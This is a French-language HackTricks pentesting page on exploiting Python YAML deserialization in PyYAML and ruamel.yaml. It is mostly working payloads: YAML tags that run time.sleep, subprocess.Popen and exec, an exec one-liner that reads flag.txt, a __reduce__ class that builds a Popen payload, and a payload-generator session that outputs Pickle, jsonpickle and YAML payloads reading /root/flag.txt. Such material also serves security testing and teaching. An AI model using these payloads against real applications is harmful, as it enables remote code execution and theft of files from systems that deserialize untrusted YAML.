hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md
2023-06-03 13:10:46 +00:00

8.7 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Désérialisation Yaml

Les bibliothèques Yaml de Python sont également capables de sérialiser des objets Python et pas seulement des données brutes :

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
 
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Vérifiez comment le tuple n'est pas un type de données brut et donc il a été sérialisé. Et la même chose s'est produite avec le range (pris à partir des builtins).

safe_load() ou safe_load_all() utilise SafeLoader et ne prend pas en charge la désérialisation d'objets de classe. Exemple de désérialisation d'objet de classe:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Le code précédent utilisait unsafe_load pour charger la classe python sérialisée. Cela est dû au fait que dans la version >= 5.1, il n'est pas possible de désérialiser une classe python sérialisée ou un attribut de classe, avec Loader non spécifié dans load() ou Loader=SafeLoader.

Exploitation de base

Exemple de comment exécuter un sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

.load("<contenu>") vulnérable sans Loader

Les anciennes versions de pyyaml étaient vulnérables aux attaques de désérialisation si vous n'avez pas spécifié le Loader lors du chargement de quelque chose : yaml.load(data)

Vous pouvez trouver la description de la vulnérabilité ici. L'exploit proposé sur cette page est :

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec

Ou vous pouvez également utiliser ce one-liner fourni par @ishaack :

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Notez que dans les versions récentes, vous ne pouvez plus appeler .load() sans un Loader et le FullLoader n'est plus vulnérable à cette attaque.

RCE

Veuillez noter que la création de payload peut être effectuée avec n'importe quel module YAML python (PyYAML ou ruamel.yaml), de la même manière. Le même payload peut exploiter à la fois le module YAML ou tout module basé sur PyYAML ou ruamel.yaml.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Outil pour créer des Payloads

L'outil https://github.com/j0lt-github/python-deserialization-attack-payload-generator peut être utilisé pour générer des payloads de désérialisation python pour abuser de Pickle, PyYAML, jsonpickle et ruamel.yaml:

python3 peas.py     
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick 
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
    - /root/flag.txt

Références

Pour plus d'informations détaillées sur cette technique, consultez : https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥